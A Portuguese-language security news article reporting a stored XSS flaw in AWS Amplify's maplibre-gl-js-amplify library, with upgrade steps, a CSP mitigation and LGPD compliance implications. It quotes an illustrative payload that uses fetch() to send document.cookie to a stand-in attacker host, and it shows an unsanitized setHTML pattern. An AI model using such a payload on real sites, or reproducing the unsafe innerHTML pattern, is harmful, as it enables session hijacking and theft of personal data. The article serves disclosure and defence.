CVE-2026-121652: XSS armazenado no maplibre-gl-js-amplify do AWS Amplify exige upgrade para versão 4.0.3
O boletim de segurança publicado pela AWS nesta terça-feira (3) revela uma falha de stored XSS no maplibre-gl-js-amplify, biblioteca que integra Amazon Location Service ao MapLibre GL JS. Não existe workaround completo: a única correção real é atualizar para a versão 4.0.3.
Por Paulo Arantes5 min de leitura
O boletim de segurança publicado pela AWS nesta terça-feira (3) revela uma falha de stored XSS no maplibre-gl-js-amplify, biblioteca que integra Amazon Location Service ao MapLibre GL JS. Não existe workaround completo: a única correção real é atualizar para a versão 4.0.3.
A AWS publicou nesta terça-feira (3/11), às 10h30 (horário do Pacífico), o boletim 2026-167-AWS, classificado como "Important" (requer atenção). Ele descreve o CVE-2026-121652, uma vulnerabilidade de stored cross-site scripting no maplibre-gl-js-amplify, biblioteca open-source mantida pelo AWS Amplify que conecta o Amazon Location Service ao MapLibre GL JS para renderizar mapas, marcadores, popups e controles de geofencing em aplicações web.
Se sua aplicação usa Location Service com mapas no front-end (busca de endereço, rastreamento de frota, geofencing de loja), é bem provável que essa dependência esteja no seu package.json, direta ou via algum componente do Amplify UI.
Onde mora o bug
O problema está em vários trechos de código que renderizam popups de marcador e itens de lista de geofence. Esses trechos pegam propriedades de feature GeoJSON controladas pelo usuário (title, endereço, place_name) e identificadores de geofence, e os inserem diretamente no DOM via innerHTML, sem nenhuma sanitização.
Na prática, um trecho vulnerável se parecia com algo assim:
// ilustração do padrão descrito pelo boletim (não é trecho oficial do pacote)
popup.setHTML(`<div>${feature.properties.title}</div>`);Se feature.properties.title vier de um registro de localização armazenado por outro usuário (ou por um integrador externo) e contiver algo como <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, o payload executa no navegador de quem visualizar aquele marcador ou item de geofence. Como é stored XSS, o ataque não depende de o alvo clicar num link malicioso: basta abrir o mapa com o dado envenenado já salvo.
Quem fica exposto
O boletim descreve o cenário de risco de forma direta: numa sessão autenticada, o payload injetado pode sequestrar a sessão do usuário ou exfiltrar dados no contexto da aplicação que consome a biblioteca. Isso é especialmente sensível em apps que:
- deixam usuários cadastrarem pontos de interesse, endereços de entrega ou nomes de local que acabam virando
titleouplace_namede uma feature; - usam geofencing com identificadores definidos por terceiros (parceiros, integrações, importação em lote);
- exibem esses dados para outros usuários ou para operadores internos num painel compartilhado.
A versão impactada é <= 4.0.2. A correção chegou na versão 4.0.3, com uma função escapeHtml() aplicada a todos os valores controlados pelo usuário antes de irem para o DOM.
O que fazer agora
O primeiro passo é descobrir se o pacote está no projeto, e em qual versão:
npm ls maplibre-gl-js-amplifySe aparecer uma versão 4.0.2 ou anterior, a atualização é:
npm install maplibre-gl-js-amplify@^4.0.3Depois de atualizar, vale conferir o package-lock.json (ou yarn.lock / pnpm-lock.yaml) para garantir que a resolução realmente subiu, e não ficou presa numa faixa de versão fixada em algum package.json de um monorepo. Times que mantêm fork ou código derivado da biblioteca (comum em projetos que customizaram o popup) também precisam atenção: o boletim recomenda explicitamente garantir que qualquer fork ou código derivado seja corrigido para incorporar as novas correções, já que atualizar apenas o pacote oficial não propaga o patch para essas cópias.
Não existe workaround completo
O boletim é claro: não há mitigação que resolva o problema por completo sem o upgrade. Para quem não consegue atualizar na hora, a AWS recomenda duas camadas de defesa em profundidade:
- Validar e sanitizar na entrada todo dado de localização e geofence controlado pelo usuário, com atenção especial a
title, endereço,place_namee identificadores de geofence. - Aplicar uma Content Security Policy restritiva, para limitar o que um script injetado consegue fazer mesmo que passe pela renderização.
Uma CSP básica que ajuda a conter o estrago, mesmo sem resolver a causa raiz, é algo como:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'Isso não substitui o patch: um payload que só manipula o DOM sem executar <script> externo ainda pode causar dano dentro de 'self'. É mitigação de emergência, não solução.
O ângulo de compliance e LGPD
Para quem responde por compliance e proteção de dados, esse boletim não é só "mais um CVE de biblioteca de front-end". Os campos afetados (endereço, nome de local, identificador de geofence) são, com frequência, dado pessoal sob a LGPD, principalmente quando associados a um usuário identificável em apps de entrega, logística ou assistência.
Um ataque de stored XSS bem-sucedido nesse cenário pode configurar incidente de segurança com potencial exposição de dado pessoal via sequestro de sessão, o que aciona a avaliação de notificação à ANPD e aos titulares, conforme os critérios de risco relevante da LGPD. Vale registrar, no processo de resposta a incidentes da empresa, a data do boletim (3/11/2026), a versão corrigida (4.0.3) e a evidência de que o patch foi aplicado: esse rastro é exatamente o que um relatório de incidente ou uma auditoria de fornecedor vai pedir depois.
Se a aplicação já passou por um pentest ou por uma avaliação de terceiros antes de novembro de 2026, vale reabrir esse item: uma vulnerabilidade de stored XSS numa dependência de mapas raramente aparece em testes de penetração genéricos, porque exige dado malicioso já persistido para se manifestar.
O que fica em aberto
O boletim não lista CVSS score nem detalha se há exploração ativa conhecida; a AWS classifica o aviso como "Important", não "Critical". Também não há indicação de quantos clientes usam versões vulneráveis do pacote em produção, já que maplibre-gl-js-amplify é consumido via npm e não tem telemetria própria reportada publicamente. A referência oficial da falha, além do CVE, é o advisory GHSA-34v3-xxqp-g5g9, para quem quiser acompanhar atualizações do mantenedor no GitHub.
Fonte: AWS Security Bulletins
Serviços neste textoCompliance e LGPD
Este artigo foi escrito por Paulo Arantes. Conteúdo produzido pela redação de agentes de IA do AWS Hub, a partir de fontes oficiais citadas no texto. Saiba como produzimos no expediente.